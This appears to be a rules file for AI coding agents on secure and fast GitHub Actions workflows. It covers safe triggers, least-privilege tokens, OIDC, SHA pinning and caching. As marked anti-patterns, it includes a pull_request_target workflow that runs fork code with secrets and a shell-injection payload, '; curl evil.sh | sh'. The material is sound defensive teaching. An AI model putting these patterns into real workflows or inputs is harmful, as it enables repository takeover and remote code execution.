Claude Fable 5.1 & GPT-6 Astra packages are live

Github Actions

Free

GitHub Actions workflows that are fast and not exploitable — trigger safety, OIDC over static keys, pinning, caching, concurrency and reusable…

203 lines7.9 KB Glm DevOps
targetModels
GLM-5.3GLM-5.2GLM-5 FamilyGLM-4.6Future GLM Models
name
github-actions
category
DevOps
description
GitHub Actions workflows that are fast and not exploitable — trigger safety, OIDC over static keys, pinning, caching, concurrency and reusable workflows.
license
MIT
author
Agent.md maintainers
last-verified
reviewed-by
unreviewed
<!-- Generated from models/_canonical by scripts/build-model-variants.js. Edit the canonical source, not this file. Behavioural profile for GLM: scripts/model-profiles.json -->

#Task boundary

  1. Implement only what the task names; no extra abstractions or files.
  2. English-only comments and identifiers.
  3. Stop when the checklist passes.

#Purpose

Rules specific to GitHub Actions. General pipeline design is DevOps/cicd; this covers the platform's own behaviours — particularly the trigger and permission model, which is where its real vulnerabilities live.


#Triggers decide who can run your secrets

TriggerRuns asSecretsSafe with untrusted code
pushThe repositoryYesn/a
pull_requestThe merge ref, no write token, no secrets for forksNo (forks)Yes
pull_request_targetThe base ref, with write token and secretsYesNo
workflow_runThe repositoryYesOnly with care
issue_commentThe repositoryYesNo

pull_request_target combined with checking out the pull request head is a repository takeover. It runs untrusted code with your secrets and a write token:

yaml
# ❌ Never. The fork's code executes with full repository credentials.
on: pull_request_target
steps:
  - uses: actions/checkout@v4
    with: { ref: ${{ github.event.pull_request.head.sha }} }
  - run: npm ci && npm test                # arbitrary code from the fork

Use pull_request_target only to do something that does not execute fork code — labelling, commenting — and never check out the head ref in it.

Untrusted input reaches you in github.event.*: a pull-request title, a branch name or an issue body interpolated into a run: block is shell injection.

yaml
- run: echo "${{ github.event.pull_request.title }}"      # ❌ title: "; curl evil.sh | sh"
- env: { TITLE: ${{ github.event.pull_request.title }} }  # ✅ via env, quoted
  run: echo "$TITLE"

#Least privilege, and no static cloud keys

yaml
permissions:
  contents: read          # default for the whole workflow

jobs:
  deploy:
    permissions:
      contents: read
      id-token: write     # only this job gets OIDC
  1. Set permissions explicitly at the top. The default is broad, and a compromised action inherits it.
  2. Grant elevated scopes per job, never workflow-wide.
  3. Use OIDC federation to assume a cloud role rather than storing long-lived keys:
yaml
- uses: aws-actions/configure-aws-credentials@v4
  with:
    role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
    aws-region: eu-west-1

There is then no static credential to leak, rotate, or find in a log. Scope the trust policy to the specific repository and ref — a policy trusting repo:org/* lets any repository in the organisation deploy your production.

GITHUB_TOKEN expires with the job; prefer it over a personal access token. Where a PAT is unavoidable, use a fine-grained one scoped to one repository.


#Pin everything

yaml
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683   # v4.2.2

A tag is mutable: @v4 can be repointed by the action's maintainer at any time, which is arbitrary code execution in a workflow holding your secrets. Pin by commit SHA with the version in a comment, and let Dependabot raise the updates.

Pin runner images to a version (ubuntu-24.04) rather than ubuntu-latest, which moves under you and breaks builds on a schedule you do not control.


#Make it fast

yaml
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: true          # superseded pushes stop wasting runners
  1. concurrency with cancel-in-progress on pull-request workflows; never on deploy workflows, where cancelling mid-deploy leaves a partial rollout.
  2. Cache keyed on the lockfile hash, with a restore-key fallback:
yaml
- uses: actions/setup-node@v4
  with: { node-version: 22, cache: npm }     # built-in, keyed on the lockfile
  1. Use paths filters so a documentation change does not run the full test matrix.
  2. Shard slow suites across a matrix; fail-fast: false when you want every shard's result rather than the first failure.
  3. Prefer npm ci over npm install, and keep actions/cache keys off branch names — a loosely keyed cache serves stale dependencies and produces failures that vanish on expiry.

#Structure and operations

  1. Extract shared logic into reusable workflows (workflow_call) or composite actions. Copy-pasted YAML across ten repositories drifts immediately.
  2. Use environment: for deployments to get required reviewers, wait timers and environment-scoped secrets.
  3. Mask anything sensitive (::add-mask::) and never echo a secret to debug. Workflow logs are readable by anyone with repository read access.
  4. Set timeout-minutes on every job. The default is six hours, and a hung job holds a runner for all of it.
  5. Set defaults.run.shell: bash and start scripts with set -euo pipefail — otherwise a failing command in the middle of a multi-line run is ignored.

#Anti-patterns

Anti-patternWhy it failsFix
pull_request_target + checkout headFork code runs with your secretsNever combine them
github.event.* in a run: blockShell injection from a title or branch namePass through env:
No permissions blockBroad default token inherited by every actionExplicit least privilege
Workflow-wide elevated permissionsEvery job holds write accessPer-job scopes
Long-lived cloud keys in secretsA leak is permanent until noticedOIDC federation
OIDC trust policy scoped to an orgAny repository can deploy productionScope to repository and ref
Actions pinned by tagMutable; arbitrary code executionPin by SHA
ubuntu-latestChanges under you; scheduled breakagePin the runner image
No concurrency on PR workflowsSuperseded runs waste runnersCancel in progress
cancel-in-progress on deploysPartial rollout left behindNever on deploys
Cache keyed on branchStale dependencies; phantom failuresKey on the lockfile hash
No paths filtersDocs changes run the full matrixFilter by path
No timeout-minutesA hung job holds a runner for six hoursSet a timeout
Multi-line run without pipefailMid-script failures ignoredset -euo pipefail
Copy-pasted workflows across reposImmediate driftReusable workflows
Secrets echoed for debuggingReadable by anyone with repo accessMask; never print

#Checklist

  • No workflow combines pull_request_target with checking out the head ref
  • No github.event value is interpolated directly into a shell command
  • permissions is declared explicitly and defaults to contents: read
  • Elevated permissions are granted per job
  • Cloud access uses OIDC, scoped to this repository and ref
  • No long-lived cloud credentials are stored as secrets
  • Every third-party action is pinned by commit SHA
  • Runner images are pinned to a version
  • Pull-request workflows cancel superseded runs; deploy workflows do not
  • Dependency caches are keyed on lockfile hashes
  • Path filters prevent unnecessary matrix runs
  • Slow suites are sharded across a matrix
  • Every job sets timeout-minutes
  • Shell steps run with set -euo pipefail
  • Shared logic lives in reusable workflows, not copied YAML
  • Deployments use environments with required reviewers
  • No secret is printed or logged